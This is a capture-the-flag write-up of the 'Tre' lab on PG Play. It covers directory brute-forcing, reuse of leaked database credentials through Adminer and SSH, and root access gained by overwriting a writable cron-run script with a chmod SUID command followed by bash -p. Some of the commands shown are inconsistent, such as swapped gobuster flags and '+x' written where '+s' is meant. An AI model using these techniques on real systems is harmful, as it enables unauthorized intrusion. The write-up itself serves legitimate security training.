By: Kavin Jindal (@Klevr)

• This is a detailed write-up of Tre which is an intermediate-level lab on Offensive Security’s PG Play.

- 0x01 — Initial Recon :

• Started by running a TCP scan on the target via NMAP.

• Ports 22,80 and 8082 were open. I checked the webpage at port 80 and found the following image.

• I checked the target at port 8082 and found the same web page as above.
• The next step was to brute-force directories which I did using Gobuster.
• This process was easy yet pretty time-consuming for me because the wordlists I was using did not have the keywords for subdirectories which were needed. I had to refer to a write-up for this and then used a different wordlist.
• I found a /cmd subdirectory and visiting it returned the following website.

• I enumerated the website but found nothing of use. Later, after changing the wordlist I ran the directory scan again using the following command.

gobuster dir -u /usr/share/wordlists/dirb/big.txt -w 192.168.197.84

• Out of all the subdirectories found, only two of them seemed useful.

/adminer.php
/mantisbt

• I visited adminer.php and found the following.

• Next, I visited the mantisbt directory and found the following login page.

• Apparently, mantisbt referred to Mantis Bug Tracker which is a bug tracking tool written in PHP.
• I tried logging in via the default MantisBT credentials which were adminstrator:root but it didn't work.
• Next, I brute-forced the directories inside the mantisbt directory and found config.

• Here a.txt seemed a little off relative to the other files present in the directory.
• Upon opening the file, I found the following database credentials.

• Bingo! I could use these credentials in adminer.php. Initially, I also tried to log in to Mantis BT using the username and password here, but it didn't work.

• Here, I had logged into Adminer and could see the above interface. I scrolled through the long list of tables and viewed the data inside mantis_user_table.

• I tried using the administrator and tre credentials in the Mantis login, but none of them worked.
• Next, I tried using both credentials in SSH, but it didn’t work either.
• After a while, I tried logging in to SSH again, but this time using the realname values as the password.

• I was able to get SSH on the target for the tre user. I also found the first flag in the working directory.

- 0x02— Privilege Escalation and Root :

• Next, I ran sudo -l and found the following.

• The file didn’t really have anything of use, and all the data was encoded. I viewed the data using strings shutdown but found nothing that I could comprehend.
• After that, I ran pspy to check the running processes on the target.

• A file named check-system inside /usr/bin was running every second. This seemed interesting.
• I listed out the code inside the file and got the following.

• The file also had write permissions.
• I overwrote the file with chmod +s /bin/bash that would give the SUID sticky bit to /bin/bash and hence I could then access the shell as root.
• I ran echo "chmod +x /bin/bash" > /usr/bin/check-system and then shut down the system using sudo /sbin/shutdown -r now .
• After starting the system again, I used /bin/bash -p with -p for privileged mode and immediately got a proper root shell.
• The only step left now was to get the root flag from proof.txt .

With that, I was able to root the lab successfully. I hope you found this write-up useful. Don’t forget to subscribe to Avyukt Security for more quality content on cybersecurity.

Happy Hacking!